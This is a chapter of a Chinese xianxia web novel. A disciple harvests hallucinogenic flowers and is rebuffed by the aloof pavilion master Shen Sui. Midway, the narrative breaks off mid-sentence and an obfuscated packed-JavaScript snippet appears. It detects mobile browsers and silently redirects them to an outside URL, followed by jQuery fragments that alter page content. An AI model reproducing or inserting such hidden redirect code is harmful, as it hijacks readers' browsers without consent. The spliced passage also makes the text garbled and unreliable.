三日后的寅时四刻，点点星子还未落下，决明便提着灯笼来到药圃。
“师弟，师姐一个人可以的。”白芷穿着一身干练衣裳，已然下到药圃里，她一边整理袖口，一边对决明说道，“你还是长身体的时候，回去多睡会儿吧。”
“师姐……我年纪不小了。”决明欲言又止。
虽然他看上去只有十七八岁，甚至更小一些，但他的年龄实际上都不知比白芷师姐大了几轮。魔息捏造的躯壳永远不会长大，想要长高就得重新捏，决明已然保持现在的姿态两百多年，不打算做什么改变。
他看着白芷，软声求道：“我想帮忙。”
“好吧好吧。”白芷拿他没有办法，伸手在决明提着的灯笼上点了点，烛火顿时化作万千流萤，挣脱灯笼的束缚，飞入药圃之中。决明在白芷的指挥下脱了鞋袜，踩进潮湿松软的土中，又接过白芷递来的玉刀，借着萤火照明，他能清楚地看到白芷的动作。
“瞧见这对叶片了么？往下再估三寸，便是下刀的地方。”白芷一边示范一边说道，“下刀必须要快，一旦切下，当立即用灵力封住截面，以免草药内蕴藏的药力流失。”
决明有样学样地切下一株，玉质温润，但他手中的玉刀磨得极利，堪称削铁如泥。
“做得不错。”白芷夸奖之余不忘教导，“你手中的刀取材自在寒潭中浸了三年的寒玉，梦还花性寒，唯有用寒玉刀切下方不会破坏药性。修真界灵植的采摘往往需要用到不同材质的工具，灵力封存之法也大有学问，这些大课上都会教，你若想提前了解，可以去藏书阁借阅相关典籍。”
决明连连点头，心道他买到的那些书讲得就没有这么细，灵植培育，果然还是得去修真界的大门大派学。
决明注意到了白芷提到的一个词汇，他捧起手中白瓣青蕊的灵花：“梦还花？”
白芷点点头：“不是什么稀罕的灵植，你用灵力封好截面后，直接放在木篮中便好。”
白芷说罢，便很是放心地把这侧灵花交给决明，自己去另一侧采摘。
决明其实早便认出了这是什么花。
他下苦功夫研究过修真界的灵植，并把种子一一买来在北域的赤土上试验。那些稀罕的他自然买不到，可常见的已然全部接触过一遍。
决明不会认错梦还花，可他不敢相信这真的是梦还花，直到从白芷那听到肯定的回答。
因为，这是一种毒花。
【沈绥为何要种毒花？】决明不解地询问系统，【小说里没有提到这点。】
【书里的人是死的，现实里的人是活的，小说那点篇幅哪能把一个活生生的人完完全全讲明白？】系统说道，【主角受医剑双绝，医毒又素来不分家，他研究毒药也是有可能的事——宿主，梦还花是什么花？】
因为问宿主更方便，系统就没去数据库里搜答案。
【是一种毒性并不致命，只会诱发幻觉的花。】决明又看了手中的花两眼，便把它放入木篮中。
也许就如系统所说，沈绥只是想借此研究毒药，他还是不要多想了。
这一批成熟的梦还花，约莫五十来株，没一会儿就被决明和白芷合力采完，装满了一整只要两只手才能抱起的木篮。
白芷先一步收工，她站在田垄上，撑着膝盖，弯腰看向正在细心摆弄花篮的决明：“师弟，那师姐就先回去休息了哦。你知道沈阁主住在哪里吗？要师姐陪你一起去吗？”
“我知道的。”决明仰头看向她，“不用担心师姐，我自己可以的。”
白芷向他挥手告别，只是离去时，不放心地回头看了好几遍。
直到调整好每一朵花的位置，不让它们压到彼此，决明才离开药圃。他用附近的清水清洗了身上沾到的泥土，又打理了自己好几遍，才抱着花篮去往沈绥的住处。
最遥远的天际泛起了鱼肚白，但天地之间依旧黑黢黢一片，白芷幻化的萤火虫跟随在他的身侧，为他照亮道路。
沈绥身为医剑二阁的阁主，却住在药王谷偏僻又不起眼的角落。
害怕暴露真实身份，不敢用法术直接瞬移过去的决明，走了许久方才看到一条不起眼的石板小径。决明才踏上石板，萤火便倏地消散。
这里被沈绥设了阵法。
那是一个迷阵，并不复杂，可不是药王谷一个刚入门的小弟子能够破解的。决明只能踩着石板小径，在林中鬼打墙般地打转。
白芷师姐告诉他，沈阁主不喜与外人接触，方才在住所周边布下迷阵，任何人踏入迷阵他都会发现。她每回去送成熟的梦还花，沈阁主都会引导她从迷阵中走出。
可是决明走了很久很久，一直没有看到沈绥的引导。
【沈绥不会睡着了吧？】决明担心道。
如果沈绥因为睡着了没有发现自己，他岂不是要在这儿鬼打墙到天亮？
【不会吧，主角受这个修为早就不用睡觉了。】系统说道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437800|201003||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
【我比他修为高，我就会睡觉啊。】决明不赞同。
放空心思，钻进软绵绵的被窝里睡一觉可舒服啦。
决明推己及人，鉴于自己一睡就会睡得特别死，他怀疑沈绥一时半会儿是发现不了自己了，沮丧地抱着花篮蹲下。
大有蹲到沈绥起床的架势。
已然默默观察了他许久的人没有办法了，出声道：“把东西放下，你可以回去了。”
脑袋快要埋进花篮里去的少年立刻抬起头来。
“沈阁主？”他左顾右盼，可沈绥的声音是直接送到他耳朵里的，他不知声音从何方传来，也找不到沈绥的身影。
“花放下，你可以走了。”沈绥重复了一遍后，又补充了一句，“明日去闲事堂领你的报酬。”
取着闲事二字的小楼，实为药王谷发布和领取任务的地方。
“不用报酬。”决明可怜道，“沈阁主，您可以收我为徒吗？”
“不可以。”沈绥毫不犹豫道。
“那……”决明举了举手中的花篮，决定采用迂回一点的方式，“我可以帮您制药吗？”
说不定哪天沈绥被他的勤奋好学打动，就收下他了呢？
可沈绥依旧冷淡道：“不可以。”
从始至终，他甚至面都不想露。
决明抱着花篮与他僵持了一会儿，最后还是沮丧地将篮子放下，转身离开。
石板小径在迷阵中重组，快要把决明困到天亮的迷阵，不到半刻钟就把他送回入口。
直至此时，一道身影方才从黑暗中踏出。沈绥提起地上的花篮，篮中梦还花雪白的花瓣上，缀着晨露。
就如小心翼翼抱着花篮的少年一样——不知他有没有发现，自己的衣发早便被夜里的霜露打湿了。
沈绥垂下眼帘，掩去了其中情绪。
“与其他人，也没有什么不同。”他淡淡道。
为了拜他为师费尽心思的人，决明不是第一个，想来也不会是最后一个。类似的把戏他已然看了太多，曾经不会有丝毫动摇，如今也是一样。
沈绥这样想着，脑海中却浮现出一双湿漉漉的，仿佛也沾染了晨露的眼眸。
他的手不自觉地攥紧，木篮的握把发出不堪重负的嘎吱声，被决明整齐收进篮中的梦还花可怜地晃了一晃。
只不过长得有些相似罢了。
沈绥想。
终究，不是他在意的那个人。